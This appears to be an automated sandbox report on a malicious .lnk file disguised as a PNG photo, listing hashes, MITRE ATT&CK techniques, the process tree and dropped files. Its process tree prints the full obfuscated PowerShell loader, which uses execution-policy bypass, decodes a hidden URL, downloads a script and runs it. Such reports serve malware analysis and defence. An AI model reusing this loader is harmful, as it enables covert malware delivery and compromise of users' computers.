a8b47e09e340430f4381103c0c743a714dc470143d343a81ad5f82ad4f676a71

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 18:14

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General

Target
PHOTO-717179265.png.lnk
Size 2KB
Sample260604-wvhcaact4j
SHA256 a8b47e09e340430f4381103c0c743a714dc470143d343a81ad5f82ad4f676a71
MD5 741787d44cfb096bc153e9a59d0a3863
SHA1 7ae18cb6532f2ebb0b6231509541118b52583dc0
SHA512 54e4df0fa57ed9c87302ca8b6149edb2b5107b1e6898d9fb324bdfd76013ecb2382deeafb8a54752cea69d75d3e53a7aeb1b6c997c01e0e60a739ffd0bfa33ca
TLSH
T1B841AF101FE10379E7B74F35D8FA6222A663B912EA218F7F1194029452B7522E476F2E
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3148	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3148	powershell.exe
1928	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3148	powershell.exe
3148	powershell.exe
1928	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	1928	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 864 wrote to memory of 3148	864	cmd.exe	82
PID 3148 wrote to memory of 1928	3148	powershell.exe	83

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-717179265.png.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$aau9Vs3X=\"308957908766091286897994534945281400874\" -as [System.Numerics.BigInteger];$FV5oEfZO=\"160819404083866351308904188735027574714\" -as [System.Numerics.BigInteger];$Z8BMB9M=$aau9Vs3X - $FV5oEfZO;for($xcKBb=100+156;$Z8BMB9M -ne 0;$Z8BMB9M=$Z8BMB9M / $xcKBb){$K61eiX9X+=[char]([int]($Z8BMB9M % $xcKBb));};iwr $K61eiX9X -OutFile $env:TEMP\EzISqLoa.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\EzISqLoa.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\EzISqLoa.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1928

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 1KB
SHA256 5226da3506c85d2ed701bea411ebd415b99b848935a0ecd50ad7fb0fd913ba05
MD5 0e04c74727fbfaf6d31eb28de212bb60
SHA1 1829716a822437f478f6b0481084143a24944554
SHA512 f8ad65f30fdcb4d96f360d780fb411474fa1d7aaa146cb9382a5dbce23751291ba597e74826cfaf44f85b6a7db2525ad06c1378f5486b61e94f7f4b14c8053da
TLSH
T10231003133B5A0D889263F471D3C59C423BF4356B694AE4C7694625EC92740BAF322F3
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_l32ptte2.1v5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l32ptte2.1v5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3148-2-0x000001FE2A0B0000-0x000001FE2A0C0000-memory.dmp

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memory/3148-3-0x000001FE2A0B0000-0x000001FE2A0C0000-memory.dmp

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memory/3148-10-0x000001FE11EB0000-0x000001FE11ED2000-memory.dmp

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memory/3148-11-0x000001FE2A0B0000-0x000001FE2A0C0000-memory.dmp

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